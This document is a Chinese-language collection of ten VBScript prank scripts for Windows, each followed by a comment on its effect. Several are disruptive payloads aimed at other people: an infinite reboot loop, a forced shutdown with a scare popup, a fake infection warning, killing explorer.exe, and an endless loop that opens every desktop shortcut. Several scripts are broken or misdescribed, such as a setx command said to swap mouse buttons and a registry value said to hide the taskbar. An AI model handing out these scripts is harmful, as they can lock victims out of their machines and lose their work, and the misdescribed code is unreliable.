1.

键盘输入倒转

```

创建一个无限循环的消息弹窗

```

Set objShell = CreateObject("WScript.Shell") While True     objShell.Popup "你的电脑已中毒，请立即关机！", 0, "警告", 48 Wend

```
（注释：这个代码会创建一个无限循环的消息弹窗，不断向用户展示一个警告提示框，试图骗取用户关机，但实际上只是个恶搞。）

2. 倒计时关机

```

Set objShell = CreateObject("WScript.Shell") objShell.Run "shutdown -s -t 60" objShell.Popup "你的电脑将在60秒内关机！", 10, "警告", 48

```
（注释：这个代码会创建一个倒计时的消息弹窗，并在60秒后强制关机，让用户感到紧张和惊恐。）

3. 无限重启

```

Set objShell = CreateObject("WScript.Shell") While True     objShell.Run "shutdown -r -t 0" Wend

```
（注释：这个代码会创建一个无限循环的重启命令，让电脑陷入无尽的重启循环中。适用于恶作剧或让别人陷入困境的场景。）

4. 彩蛋覆盖桌面

```

Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd /c echo 彩蛋已启动 && timeout 5 && copy con " & Chr(34) & "%UserProfile%\Desktop\Egg.txt" & Chr(34) & " && type con >> " & Chr(34) & "%UserProfile%\Desktop\Egg.txt" & Chr(34)

```
（注释：这个代码会通过命令提示符在桌面上创建一个名为"Egg.txt"的文件，并将键盘输入的内容重定向到该文件中，制造一个彩蛋的效果。）

5. 键盘输入倒转

```

Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd /c echo off && wscript %0 %* && exit /b" Set objShell = Nothing Set objScript = CreateObject("WScript.Shell") strInput = objScript.InputBox("请输入要倒转的文本：", "输入倒转") strReversed = StrReverse(strInput) MsgBox "倒转后的文本：" & strReversed

```
（注释：这个代码会将用户输入的文本进行倒转，并通过消息框展示给用户，这样用户输入的文本顺序和输出的顺序就倒过来了。）

6. 隐藏任务栏

```

Set objShell = CreateObject("WScript.Shell") objShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\TaskbarSizeMove", 0, "REG_DWORD" objShell.Run "taskkill /f /im explorer.exe"

```
（注释：这个代码会通过修改注册表的方式来隐藏任务栏，并结束掉资源管理器进程，让用户无法再通过任务栏操作电脑。）

7. 蓝屏错误

```

Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd /c echo off && echo 您的电脑已损坏 && echo 正在生成蓝屏错误 && echo 正在重启系统... && timeout 5 && shutdown -r -t 0"

```
（注释：这个代码会通过命令提示符模拟生成一个蓝屏错误，并在5秒后重启系统。这是一个非常烦人和恶搞的行为。）

8. 桌面无限图标

```

Set objShell = CreateObject("WScript.Shell") Set objFSO = CreateObject("Scripting.FileSystemObject") strDesktopPath = objShell.SpecialFolders("Desktop") While True     Set objFolder = objFSO.GetFolder(strDesktopPath)     For Each objFile In objFolder.Files         If objFSO.GetExtensionName(objFile.Path) = "lnk" Then             objShell.Run objFile.Path         End If     Next Wend

```
（注释：这个代码会创建一个无限循环，不断打开桌面上的快捷方式。这会让桌面上的图标密密麻麻，难以操作。）

9. 鼠标左右互换

```

Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd /c echo off && setx /m /d MOUSEINPUTENABLED 0 && shutdown -r -t 0"

```
（注释：这个代码会通过命令提示符将鼠标的左右键功能进行互换，并重启电脑使其生效。这会给用户带来非常混乱和困扰的操作体验。）

10. 音量随机调整

```

Set objShell = CreateObject("WScript.Shell") Set objRandom = CreateObject("System.Random") While True     intVolume = objRandom.Next(0, 101)     objShell.Run "sndvol.exe -f " & intVolume, 0, False     WScript.Sleep 5000 Wend

```
（注释：这个代码会创建一个无限循环，每5秒钟随机调整系统音量的大小。这样会给用户带来不可预测的声音体验，可能导致用户不安和困惑。）